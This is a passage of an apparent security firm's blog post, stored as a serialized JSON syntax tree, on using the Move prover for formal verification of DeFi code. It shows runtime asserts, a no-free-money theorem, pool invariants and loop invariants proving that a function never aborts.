resources",{"type":23,"tag":45,"props":6773,"children":6774},{},[6775],{"type":28,"value":6776},"Associate resources with instances directly",{"type":23,"tag":70,"props":6778,"children":6780},{"id":6779},"formal-verification",[6781],{"type":28,"value":6782},"Formal Verification",{"type":23,"tag":24,"props":6784,"children":6785},{},[6786],{"type":28,"value":6787},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":6789,"children":6790},{},[6791],{"type":28,"value":6792},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":6794,"children":6795},{},[6796,6798,6803],{"type":28,"value":6797},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":1887,"props":6799,"children":6800},{},[6801],{"type":28,"value":6802},"what",{"type":28,"value":6804}," to prove.",{"type":23,"tag":24,"props":6806,"children":6807},{},[6808,6810,6817],{"type":28,"value":6809},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":92,"props":6811,"children":6814},{"href":6812,"rel":6813},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[96],[6815],{"type":28,"value":6816},"Solana AMM rounding issue",{"type":28,"value":6818}," we reported.",{"type":23,"tag":24,"props":6820,"children":6821},{},[6822],{"type":28,"value":6823},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":494,"props":6825,"children":6827},{"className":1957,"code":6826,"language":1956,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[6828],{"type":23,"tag":56,"props":6829,"children":6830},{"__ignoreMap":7},[6831,6892],{"type":23,"tag":504,"props":6832,"children":6833},{"class":506,"line":507},[6834,6839,6844,6848,6853,6857,6862,6866,6870,6875,6879,6883,6888],{"type":23,"tag":504,"props":6835,"children":6836},{"style":511},[6837],{"type":28,"value":6838},"  let",{"type":23,"tag":504,"props":6840,"children":6841},{"style":529},[6842],{"type":28,"value":6843}," cmp",{"type":23,"tag":504,"props":6845,"children":6846},{"style":598},[6847],{"type":28,"value":648},{"type":23,"tag":504,"props":6849,"children":6850},{"style":523},[6851],{"type":28,"value":6852}," u256",{"type":23,"tag":504,"props":6854,"children":6855},{"style":598},[6856],{"type":28,"value":2457},{"type":23,"tag":504,"props":6858,"children":6859},{"style":517},[6860],{"type":28,"value":6861},"compare",{"type":23,"tag":504,"props":6863,"children":6864},{"style":523},[6865],{"type":28,"value":526},{"type":23,"tag":504,"props":6867,"children":6868},{"style":598},[6869],{"type":28,"value":2086},{"type":23,"tag":504,"props":6871,"children":6872},{"style":529},[6873],{"type":28,"value":6874},"lp_value_after_swap_and_fee",{"type":23,"tag":504,"props":6876,"children":6877},{"style":523},[6878],{"type":28,"value":576},{"type":23,"tag":504,"props":6880,"children":6881},{"style":598},[6882],{"type":28,"value":2086},{"type":23,"tag":504,"props":6884,"children":6885},{"style":529},[6886],{"type":28,"value":6887},"lp_value_before_swap_u256",{"type":23,"tag":504,"props":6889,"children":6890},{"style":523},[6891],{"type":28,"value":630},{"type":23,"tag":504,"props":6893,"children":6894},{"class":506,"line":540},[6895,6900,6904,6909,6913,6918],{"type":23,"tag":504,"props":6896,"children":6897},{"style":517},[6898],{"type":28,"value":6899},"  assert!",{"type":23,"tag":504,"props":6901,"children":6902},{"style":523},[6903],{"type":28,"value":526},{"type":23,"tag":504,"props":6905,"children":6906},{"style":529},[6907],{"type":28,"value":6908},"cmp",{"type":23,"tag":504,"props":6910,"children":6911},{"style":598},[6912],{"type":28,"value":2260},{"type":23,"tag":504,"props":6914,"children":6915},{"style":1440},[6916],{"type":28,"value":6917}," 2",{"type":23,"tag":504,"props":6919,"children":6920},{"style":523},[6921],{"type":28,"value":6922},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":6924,"children":6925},{},[6926,6928,6933],{"type":28,"value":6927},"The move prover really shines when we're proving relationships ",{"type":23,"tag":1887,"props":6929,"children":6930},{},[6931],{"type":28,"value":6932},"between",{"type":28,"value":6934}," functions.",{"type":23,"tag":24,"props":6936,"children":6937},{},[6938,6940,6946],{"type":28,"value":6939},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":56,"props":6941,"children":6943},{"className":6942},[],[6944],{"type":28,"value":6945},"no_free_money_theorem",{"type":28,"value":6947}," in the move repository.",{"type":23,"tag":494,"props":6949,"children":6951},{"className":1957,"code":6950,"language":1956,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[6952],{"type":23,"tag":56,"props":6953,"children":6954},{"__ignoreMap":7},[6955,6963,7051,7093,7114,7121,7137,7163,7190,7215],{"type":23,"tag":504,"props":6956,"children":6957},{"class":506,"line":507},[6958],{"type":23,"tag":504,"props":6959,"children":6960},{"style":1106},[6961],{"type":28,"value":6962},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":504,"props":6964,"children":6965},{"class":506,"line":540},[6966,6970,6975,6979,6984,6988,6992,6996,7001,7005,7009,7013,7017,7021,7026,7030,7034,7038,7042,7047],{"type":23,"tag":504,"props":6967,"children":6968},{"style":529},[6969],{"type":28,"value":5553},{"type":23,"tag":504,"props":6971,"children":6972},{"style":517},[6973],{"type":28,"value":6974}," no_free_money_theorem",{"type":23,"tag":504,"props":6976,"children":6977},{"style":523},[6978],{"type":28,"value":526},{"type":23,"tag":504,"props":6980,"children":6981},{"style":529},[6982],{"type":28,"value":6983},"coin1_in",{"type":23,"tag":504,"props":6985,"children":6986},{"style":598},[6987],{"type":28,"value":3472},{"type":23,"tag":504,"props":6989,"children":6990},{"style":1012},[6991],{"type":28,"value":4843},{"type":23,"tag":504,"props":6993,"children":6994},{"style":523},[6995],{"type":28,"value":576},{"type":23,"tag":504,"props":6997,"children":6998},{"style":529},[6999],{"type":28,"value":7000},"coin2_in",{"type":23,"tag":504,"props":7002,"children":7003},{"style":598},[7004],{"type":28,"value":3472},{"type":23,"tag":504,"props":7006,"children":7007},{"style":1012},[7008],{"type":28,"value":4843},{"type":23,"tag":504,"props":7010,"children":7011},{"style":523},[7012],{"type":28,"value":2105},{"type":23,"tag":504,"props":7014,"children":7015},{"style":598},[7016],{"type":28,"value":3472},{"type":23,"tag":504,"props":7018,"children":7019},{"style":523},[7020],{"type":28,"value":801},{"type":23,"tag":504,"props":7022,"children":7023},{"style":1012},[7024],{"type":28,"value":7025},"u64",{"type":23,"tag":504,"props":7027,"children":7028},{"style":523},[7029],{"type":28,"value":576},{"type":23,"tag":504,"props":7031,"children":7032},{"style":1012},[7033],{"type":28,"value":7025},{"type":23,"tag":504,"props":7035,"children":7036},{"style":523},[7037],{"type":28,"value":2064},{"type":23,"tag":504,"props":7039,"children":7040},{"style":529},[7041],{"type":28,"value":5327},{"type":23,"tag":504,"props":7043,"children":7044},{"style":1012},[7045],{"type":28,"value":7046}," Pool",{"type":23,"tag":504,"props":7048,"children":7049},{"style":523},[7050],{"type":28,"value":552},{"type":23,"tag":504,"props":7052,"children":7053},{"class":506,"line":555},[7054,7059,7064,7068,7073,7077,7081,7085,7089],{"type":23,"tag":504,"props":7055,"children":7056},{"style":511},[7057],{"type":28,"value":7058},"      let",{"type":23,"tag":504,"props":7060,"children":7061},{"style":529},[7062],{"type":28,"value":7063}," share",{"type":23,"tag":504,"props":7065,"children":7066},{"style":598},[7067],{"type":28,"value":648},{"type":23,"tag":504,"props":7069,"children":7070},{"style":517},[7071],{"type":28,"value":7072}," add_liquidity",{"type":23,"tag":504,"props":7074,"children":7075},{"style":523},[7076],{"type":28,"value":526},{"type":23,"tag":504,"props":7078,"children":7079},{"style":529},[7080],{"type":28,"value":6983},{"type":23,"tag":504,"props":7082,"children":7083},{"style":523},[7084],{"type":28,"value":576},{"type":23,"tag":504,"props":7086,"children":7087},{"style":529},[7088],{"type":28,"value":7000},{"type":23,"tag":504,"props":7090,"children":7091},{"style":523},[7092],{"type":28,"value":630},{"type":23,"tag":504,"props":7094,"children":7095},{"class":506,"line":633},[7096,7101,7105,7110],{"type":23,"tag":504,"props":7097,"children":7098},{"style":517},[7099],{"type":28,"value":7100},"      remove_liquidity",{"type":23,"tag":504,"props":7102,"children":7103},{"style":523},[7104],{"type":28,"value":526},{"type":23,"tag":504,"props":7106,"children":7107},{"style":529},[7108],{"type":28,"value":7109},"share",{"type":23,"tag":504,"props":7111,"children":7112},{"style":523},[7113],{"type":28,"value":1192},{"type":23,"tag":504,"props":7115,"children":7116},{"class":506,"line":687},[7117],{"type":23,"tag":504,"props":7118,"children":7119},{"style":523},[7120],{"type":28,"value":4855},{"type":23,"tag":504,"props":7122,"children":7123},{"class":506,"line":736},[7124,7129,7133],{"type":23,"tag":504,"props":7125,"children":7126},{"style":529},[7127],{"type":28,"value":7128},"  spec",{"type":23,"tag":504,"props":7130,"children":7131},{"style":529},[7132],{"type":28,"value":6974},{"type":23,"tag":504,"props":7134,"children":7135},{"style":523},[7136],{"type":28,"value":552},{"type":23,"tag":504,"props":7138,"children":7139},{"class":506,"line":785},[7140,7145,7150,7154,7159],{"type":23,"tag":504,"props":7141,"children":7142},{"style":529},[7143],{"type":28,"value":7144},"      pragma",{"type":23,"tag":504,"props":7146,"children":7147},{"style":529},[7148],{"type":28,"value":7149}," verify",{"type":23,"tag":504,"props":7151,"children":7152},{"style":598},[7153],{"type":28,"value":601},{"type":23,"tag":504,"props":7155,"children":7156},{"style":511},[7157],{"type":28,"value":7158},"false",{"type":23,"tag":504,"props":7160,"children":7161},{"style":523},[7162],{"type":28,"value":866},{"type":23,"tag":504,"props":7164,"children":7165},{"class":506,"line":813},[7166,7171,7176,7181,7186],{"type":23,"tag":504,"props":7167,"children":7168},{"style":529},[7169],{"type":28,"value":7170},"      ensures",{"type":23,"tag":504,"props":7172,"children":7173},{"style":529},[7174],{"type":28,"value":7175}," result_1",{"type":23,"tag":504,"props":7177,"children":7178},{"style":598},[7179],{"type":28,"value":7180}," \u003C=",{"type":23,"tag":504,"props":7182,"children":7183},{"style":529},[7184],{"type":28,"value":7185}," coin1_in",{"type":23,"tag":504,"props":7187,"children":7188},{"style":523},[7189],{"type":28,"value":866},{"type":23,"tag":504,"props":7191,"children":7192},{"class":506,"line":851},[7193,7197,7202,7206,7211],{"type":23,"tag":504,"props":7194,"children":7195},{"style":529},[7196],{"type":28,"value":7170},{"type":23,"tag":504,"props":7198,"children":7199},{"style":529},[7200],{"type":28,"value":7201}," result_2",{"type":23,"tag":504,"props":7203,"children":7204},{"style":598},[7205],{"type":28,"value":7180},{"type":23,"tag":504,"props":7207,"children":7208},{"style":529},[7209],{"type":28,"value":7210}," coin2_in",{"type":23,"tag":504,"props":7212,"children":7213},{"style":523},[7214],{"type":28,"value":866},{"type":23,"tag":504,"props":7216,"children":7217},{"class":506,"line":869},[7218],{"type":23,"tag":504,"props":7219,"children":7220},{"style":523},[7221],{"type":28,"value":4855},{"type":23,"tag":24,"props":7223,"children":7224},{},[7225],{"type":28,"value":7226},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":7228,"children":7229},{},[7230,7232,7237],{"type":28,"value":7231},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":1887,"props":7233,"children":7234},{},[7235],{"type":28,"value":7236},"lot",{"type":28,"value":7238}," easier to reason about the protocol.",{"type":23,"tag":24,"props":7240,"children":7241},{},[7242],{"type":28,"value":7243},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":494,"props":7245,"children":7247},{"className":1957,"code":7246,"language":1956,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[7248],{"type":23,"tag":56,"props":7249,"children":7250},{"__ignoreMap":7},[7251,7268,7291],{"type":23,"tag":504,"props":7252,"children":7253},{"class":506,"line":507},[7254,7259,7264],{"type":23,"tag":504,"props":7255,"children":7256},{"style":529},[7257],{"type":28,"value":7258},"spec",{"type":23,"tag":504,"props":7260,"children":7261},{"style":1012},[7262],{"type":28,"value":7263}," PoolState",{"type":23,"tag":504,"props":7265,"children":7266},{"style":523},[7267],{"type":28,"value":552},{"type":23,"tag":504,"props":7269,"children":7270},{"class":506,"line":540},[7271,7276,7281,7286],{"type":23,"tag":504,"props":7272,"children":7273},{"style":529},[7274],{"type":28,"value":7275},"    invariant",{"type":23,"tag":504,"props":7277,"children":7278},{"style":529},[7279],{"type":28,"value":7280}," supply",{"type":23,"tag":504,"props":7282,"children":7283},{"style":598},[7284],{"type":28,"value":7285}," >=",{"type":23,"tag":504,"props":7287,"children":7288},{"style":523},[7289],{"type":28,"value":7290}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":504,"props":7292,"children":7293},{"class":506,"line":555},[7294],{"type":23,"tag":504,"props":7295,"children":7296},{"style":523},[7297],{"type":28,"value":884},{"type":23,"tag":24,"props":7299,"children":7300},{},[7301,7303,7309,7311,7317],{"type":28,"value":7302},"Another useful pattern for the Move prover is ",{"type":23,"tag":56,"props":7304,"children":7306},{"className":7305},[],[7307],{"type":28,"value":7308},"aborts_if",{"type":28,"value":7310},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":56,"props":7312,"children":7314},{"className":7313},[],[7315],{"type":28,"value":7316},"aborts_if false",{"type":28,"value":320},{"type":23,"tag":24,"props":7319,"children":7320},{},[7321],{"type":28,"value":7322},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":494,"props":7324,"children":7326},{"className":1957,"code":7325,"language":1956,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[7327],{"type":23,"tag":56,"props":7328,"children":7329},{"__ignoreMap":7},[7330,7394,7436,7459,7504,7517,7529,7568,7591,7678,7686,7711,7719,7740,7760,7860,7868,7897,7905,7917,7941,7976,7983,7991,7998,8013,8029,8046,8090,8195],{"type":23,"tag":504,"props":7331,"children":7332},{"class":506,"line":507},[7333,7337,7342,7346,7351,7355,7360,7364,7368,7373,7377,7381,7385,7390],{"type":23,"tag":504,"props":7334,"children":7335},{"style":529},[7336],{"type":28,"value":5553},{"type":23,"tag":504,"props":7338,"children":7339},{"style":517},[7340],{"type":28,"value":7341}," multiply_vec_by_n_coins",{"type":23,"tag":504,"props":7343,"children":7344},{"style":523},[7345],{"type":28,"value":526},{"type":23,"tag":504,"props":7347,"children":7348},{"style":529},[7349],{"type":28,"value":7350},"input",{"type":23,"tag":504,"props":7352,"children":7353},{"style":598},[7354],{"type":28,"value":3472},{"type":23,"tag":504,"props":7356,"children":7357},{"style":529},[7358],{"type":28,"value":7359}," vector",{"type":23,"tag":504,"props":7361,"children":7362},{"style":523},[7363],{"type":28,"value":4789},{"type":23,"tag":504,"props":7365,"children":7366},{"style":1012},[7367],{"type":28,"value":7025},{"type":23,"tag":504,"props":7369,"children":7370},{"style":523},[7371],{"type":28,"value":7372},">)",{"type":23,"tag":504,"props":7374,"children":7375},{"style":598},[7376],{"type":28,"value":3472},{"type":23,"tag":504,"props":7378,"children":7379},{"style":529},[7380],{"type":28,"value":7359},{"type":23,"tag":504,"props":7382,"children":7383},{"style":523},[7384],{"type":28,"value":4789},{"type":23,"tag":504,"props":7386,"children":7387},{"style":1012},[7388],{"type":28,"value":7389},"u128",{"type":23,"tag":504,"props":7391,"children":7392},{"style":523},[7393],{"type":28,"value":6264},{"type":23,"tag":504,"props":7395,"children":7396},{"class":506,"line":540},[7397,7401,7406,7410,7414,7418,7423,7427,7431],{"type":23,"tag":504,"props":7398,"children":7399},{"style":511},[7400],{"type":28,"value":7058},{"type":23,"tag":504,"props":7402,"children":7403},{"style":529},[7404],{"type":28,"value":7405}," amounts_times_coins",{"type":23,"tag":504,"props":7407,"children":7408},{"style":598},[7409],{"type":28,"value":648},{"type":23,"tag":504,"props":7411,"children":7412},{"style":523},[7413],{"type":28,"value":7359},{"type":23,"tag":504,"props":7415,"children":7416},{"style":598},[7417],{"type":28,"value":2457},{"type":23,"tag":504,"props":7419,"children":7420},{"style":529},[7421],{"type":28,"value":7422},"empty",{"type":23,"tag":504,"props":7424,"children":7425},{"style":523},[7426],{"type":28,"value":4789},{"type":23,"tag":504,"props":7428,"children":7429},{"style":1012},[7430],{"type":28,"value":7389},{"type":23,"tag":504,"props":7432,"children":7433},{"style":523},[7434],{"type":28,"value":7435},">();\n",{"type":23,"tag":504,"props":7437,"children":7438},{"class":506,"line":555},[7439,7443,7447,7451,7455],{"type":23,"tag":504,"props":7440,"children":7441},{"style":511},[7442],{"type":28,"value":7058},{"type":23,"tag":504,"props":7444,"children":7445},{"style":529},[7446],{"type":28,"value":2374},{"type":23,"tag":504,"props":7448,"children":7449},{"style":598},[7450],{"type":28,"value":648},{"type":23,"tag":504,"props":7452,"children":7453},{"style":1440},[7454],{"type":28,"value":2023},{"type":23,"tag":504,"props":7456,"children":7457},{"style":523},[7458],{"type":28,"value":866},{"type":23,"tag":504,"props":7460,"children":7461},{"class":506,"line":633},[7462,7466,7471,7475,7479,7483,7488,7492,7496,7500],{"type":23,"tag":504,"props":7463,"children":7464},{"style":511},[7465],{"type":28,"value":7058},{"type":23,"tag":504,"props":7467,"children":7468},{"style":529},[7469],{"type":28,"value":7470}," n_coins",{"type":23,"tag":504,"props":7472,"children":7473},{"style":598},[7474],{"type":28,"value":648},{"type":23,"tag":504,"props":7476,"children":7477},{"style":523},[7478],{"type":28,"value":7359},{"type":23,"tag":504,"props":7480,"children":7481},{"style":598},[7482],{"type":28,"value":2457},{"type":23,"tag":504,"props":7484,"children":7485},{"style":517},[7486],{"type":28,"value":7487},"length",{"type":23,"tag":504,"props":7489,"children":7490},{"style":523},[7491],{"type":28,"value":526},{"type":23,"tag":504,"props":7493,"children":7494},{"style":598},[7495],{"type":28,"value":2086},{"type":23,"tag":504,"props":7497,"children":7498},{"style":529},[7499],{"type":28,"value":7350},{"type":23,"tag":504,"props":7501,"children":7502},{"style":523},[7503],{"type":28,"value":630},{"type":23,"tag":504,"props":7505,"children":7506},{"class":506,"line":687},[7507,7512],{"type":23,"tag":504,"props":7508,"children":7509},{"style":544},[7510],{"type":28,"value":7511},"      while",{"type":23,"tag":504,"props":7513,"children":7514},{"style":523},[7515],{"type":28,"value":7516}," ({\n",{"type":23,"tag":504,"props":7518,"children":7519},{"class":506,"line":736},[7520,7525],{"type":23,"tag":504,"props":7521,"children":7522},{"style":529},[7523],{"type":28,"value":7524},"          spec",{"type":23,"tag":504,"props":7526,"children":7527},{"style":523},[7528],{"type":28,"value":552},{"type":23,"tag":504,"props":7530,"children":7531},{"class":506,"line":785},[7532,7537,7542,7546,7551,7555,7560,7564],{"type":23,"tag":504,"props":7533,"children":7534},{"style":529},[7535],{"type":28,"value":7536},"              invariant",{"type":23,"tag":504,"props":7538,"children":7539},{"style":517},[7540],{"type":28,"value":7541}," len",{"type":23,"tag":504,"props":7543,"children":7544},{"style":523},[7545],{"type":28,"value":526},{"type":23,"tag":504,"props":7547,"children":7548},{"style":529},[7549],{"type":28,"value":7550},"amounts_times_coins",{"type":23,"tag":504,"props":7552,"children":7553},{"style":523},[7554],{"type":28,"value":2064},{"type":23,"tag":504,"props":7556,"children":7557},{"style":598},[7558],{"type":28,"value":7559},"==",{"type":23,"tag":504,"props":7561,"children":7562},{"style":529},[7563],{"type":28,"value":2374},{"type":23,"tag":504,"props":7565,"children":7566},{"style":523},[7567],{"type":28,"value":866},{"type":23,"tag":504,"props":7569,"children":7570},{"class":506,"line":813},[7571,7575,7579,7583,7587],{"type":23,"tag":504,"props":7572,"children":7573},{"style":529},[7574],{"type":28,"value":7536},{"type":23,"tag":504,"props":7576,"children":7577},{"style":529},[7578],{"type":28,"value":2374},{"type":23,"tag":504,"props":7580,"children":7581},{"style":598},[7582],{"type":28,"value":7180},{"type":23,"tag":504,"props":7584,"children":7585},{"style":529},[7586],{"type":28,"value":7470},{"type":23,"tag":504,"props":7588,"children":7589},{"style":523},[7590],{"type":28,"value":866},{"type":23,"tag":504,"props":7592,"children":7593},{"class":506,"line":851},[7594,7598,7603,7608,7612,7616,7620,7624,7628,7632,7636,7641,7645,7649,7654,7658,7662,7666,7670,7674],{"type":23,"tag":504,"props":7595,"children":7596},{"style":529},[7597],{"type":28,"value":7536},{"type":23,"tag":504,"props":7599,"children":7600},{"style":529},[7601],{"type":28,"value":7602}," forall",{"type":23,"tag":504,"props":7604,"children":7605},{"style":529},[7606],{"type":28,"value":7607}," j",{"type":23,"tag":504,"props":7609,"children":7610},{"style":511},[7611],{"type":28,"value":2018},{"type":23,"tag":504,"props":7613,"children":7614},{"style":1440},[7615],{"type":28,"value":2023},{"type":23,"tag":504,"props":7617,"children":7618},{"style":598},[7619],{"type":28,"value":2028},{"type":23,"tag":504,"props":7621,"children":7622},{"style":529},[7623],{"type":28,"value":2716},{"type":23,"tag":504,"props":7625,"children":7626},{"style":598},[7627],{"type":28,"value":3472},{"type":23,"tag":504,"props":7629,"children":7630},{"style":529},[7631],{"type":28,"value":7405},{"type":23,"tag":504,"props":7633,"children":7634},{"style":523},[7635],{"type":28,"value":2711},{"type":23,"tag":504,"props":7637,"children":7638},{"style":529},[7639],{"type":28,"value":7640},"j",{"type":23,"tag":504,"props":7642,"children":7643},{"style":523},[7644],{"type":28,"value":595},{"type":23,"tag":504,"props":7646,"children":7647},{"style":598},[7648],{"type":28,"value":7559},{"type":23,"tag":504,"props":7650,"children":7651},{"style":529},[7652],{"type":28,"value":7653}," input",{"type":23,"tag":504,"props":7655,"children":7656},{"style":523},[7657],{"type":28,"value":2711},{"type":23,"tag":504,"props":7659,"children":7660},{"style":529},[7661],{"type":28,"value":7640},{"type":23,"tag":504,"props":7663,"children":7664},{"style":523},[7665],{"type":28,"value":595},{"type":23,"tag":504,"props":7667,"children":7668},{"style":598},[7669],{"type":28,"value":3552},{"type":23,"tag":504,"props":7671,"children":7672},{"style":529},[7673],{"type":28,"value":7470},{"type":23,"tag":504,"props":7675,"children":7676},{"style":523},[7677],{"type":28,"value":866},{"type":23,"tag":504,"props":7679,"children":7680},{"class":506,"line":869},[7681],{"type":23,"tag":504,"props":7682,"children":7683},{"style":523},[7684],{"type":28,"value":7685},"          };\n",{"type":23,"tag":504,"props":7687,"children":7688},{"class":506,"line":878},[7689,7694,7698,7703,7707],{"type":23,"tag":504,"props":7690,"children":7691},{"style":523},[7692],{"type":28,"value":7693},"          (",{"type":23,"tag":504,"props":7695,"children":7696},{"style":529},[7697],{"type":28,"value":2716},{"type":23,"tag":504,"props":7699,"children":7700},{"style":598},[7701],{"type":28,"value":7702}," \u003C",{"type":23,"tag":504,"props":7704,"children":7705},{"style":529},[7706],{"type":28,"value":7470},{"type":23,"tag":504,"props":7708,"children":7709},{"style":523},[7710],{"type":28,"value":1192},{"type":23,"tag":504,"props":7712,"children":7713},{"class":506,"line":1221},[7714],{"type":23,"tag":504,"props":7715,"children":7716},{"style":523},[7717],{"type":28,"value":7718},"      }) {\n",{"type":23,"tag":504,"props":7720,"children":7721},{"class":506,"line":1276},[7722,7727,7731,7736],{"type":23,"tag":504,"props":7723,"children":7724},{"style":523},[7725],{"type":28,"value":7726},"          vector",{"type":23,"tag":504,"props":7728,"children":7729},{"style":598},[7730],{"type":28,"value":2457},{"type":23,"tag":504,"props":7732,"children":7733},{"style":517},[7734],{"type":28,"value":7735},"push_back",{"type":23,"tag":504,"props":7737,"children":7738},{"style":523},[7739],{"type":28,"value":2439},{"type":23,"tag":504,"props":7741,"children":7742},{"class":506,"line":1285},[7743,7748,7752,7756],{"type":23,"tag":504,"props":7744,"children":7745},{"style":598},[7746],{"type":28,"value":7747},"              &",{"type":23,"tag":504,"props":7749,"children":7750},{"style":511},[7751],{"type":28,"value":2701},{"type":23,"tag":504,"props":7753,"children":7754},{"style":529},[7755],{"type":28,"value":7405},{"type":23,"tag":504,"props":7757,"children":7758},{"style":523},[7759],{"type":28,"value":2484},{"type":23,"tag":504,"props":7761,"children":7762},{"class":506,"line":1294},[7763,7768,7772,7777,7781,7786,7790,7794,7798,7803,7807,7812,7816,7821,7826,7831,7835,7839,7843,7848,7852,7856],{"type":23,"tag":504,"props":7764,"children":7765},{"style":523},[7766],{"type":28,"value":7767},"              (",{"type":23,"tag":504,"props":7769,"children":7770},{"style":598},[7771],{"type":28,"value":3552},{"type":23,"tag":504,"props":7773,"children":7774},{"style":523},[7775],{"type":28,"value":7776},"vector",{"type":23,"tag":504,"props":7778,"children":7779},{"style":598},[7780],{"type":28,"value":2457},{"type":23,"tag":504,"props":7782,"children":7783},{"style":517},[7784],{"type":28,"value":7785},"borrow",{"type":23,"tag":504,"props":7787,"children":7788},{"style":523},[7789],{"type":28,"value":526},{"type":23,"tag":504,"props":7791,"children":7792},{"style":598},[7793],{"type":28,"value":2086},{"type":23,"tag":504,"props":7795,"children":7796},{"style":529},[7797],{"type":28,"value":7350},{"type":23,"tag":504,"props":7799,"children":7800},{"style":523},[7801],{"type":28,"value":7802},", (",{"type":23,"tag":504,"props":7804,"children":7805},{"style":529},[7806],{"type":28,"value":2716},{"type":23,"tag":504,"props":7808,"children":7809},{"style":511},[7810],{"type":28,"value":7811}," as",{"type":23,"tag":504,"props":7813,"children":7814},{"style":1012},[7815],{"type":28,"value":4843},{"type":23,"tag":504,"props":7817,"children":7818},{"style":523},[7819],{"type":28,"value":7820},")) ",{"type":23,"tag":504,"props":7822,"children":7823},{"style":511},[7824],{"type":28,"value":7825},"as",{"type":23,"tag":504,"props":7827,"children":7828},{"style":1012},[7829],{"type":28,"value":7830}," u128",{"type":23,"tag":504,"props":7832,"children":7833},{"style":523},[7834],{"type":28,"value":2064},{"type":23,"tag":504,"props":7836,"children":7837},{"style":598},[7838],{"type":28,"value":3552},{"type":23,"tag":504,"props":7840,"children":7841},{"style":523},[7842],{"type":28,"value":801},{"type":23,"tag":504,"props":7844,"children":7845},{"style":529},[7846],{"type":28,"value":7847},"n_coins",{"type":23,"tag":504,"props":7849,"children":7850},{"style":511},[7851],{"type":28,"value":7811},{"type":23,"tag":504,"props":7853,"children":7854},{"style":1012},[7855],{"type":28,"value":7830},{"type":23,"tag":504,"props":7857,"children":7858},{"style":523},[7859],{"type":28,"value":1192},{"type":23,"tag":504,"props":7861,"children":7862},{"class":506,"line":1302},[7863],{"type":23,"tag":504,"props":7864,"children":7865},{"style":523},[7866],{"type":28,"value":7867},"          );\n",{"type":23,"tag":504,"props":7869,"children":7870},{"class":506,"line":1311},[7871,7876,7880,7884,7889,7893],{"type":23,"tag":504,"props":7872,"children":7873},{"style":529},[7874],{"type":28,"value":7875},"          i",{"type":23,"tag":504,"props":7877,"children":7878},{"style":598},[7879],{"type":28,"value":648},{"type":23,"tag":504,"props":7881,"children":7882},{"style":529},[7883],{"type":28,"value":2374},{"type":23,"tag":504,"props":7885,"children":7886},{"style":598},[7887],{"type":28,"value":7888}," +",{"type":23,"tag":504,"props":7890,"children":7891},{"style":1440},[7892],{"type":28,"value":3504},{"type":23,"tag":504,"props":7894,"children":7895},{"style":523},[7896],{"type":28,"value":866},{"type":23,"tag":504,"props":7898,"children":7899},{"class":506,"line":1334},[7900],{"type":23,"tag":504,"props":7901,"children":7902},{"style":523},[7903],{"type":28,"value":7904},"      };\n",{"type":23,"tag":504,"props":7906,"children":7907},{"class":506,"line":1370},[7908,7913],{"type":23,"tag":504,"props":7909,"children":7910},{"style":529},[7911],{"type":28,"value":7912},"      spec",{"type":23,"tag":504,"props":7914,"children":7915},{"style":523},[7916],{"type":28,"value":552},{"type":23,"tag":504,"props":7918,"children":7919},{"class":506,"line":1384},[7920,7925,7929,7933,7937],{"type":23,"tag":504,"props":7921,"children":7922},{"style":529},[7923],{"type":28,"value":7924},"          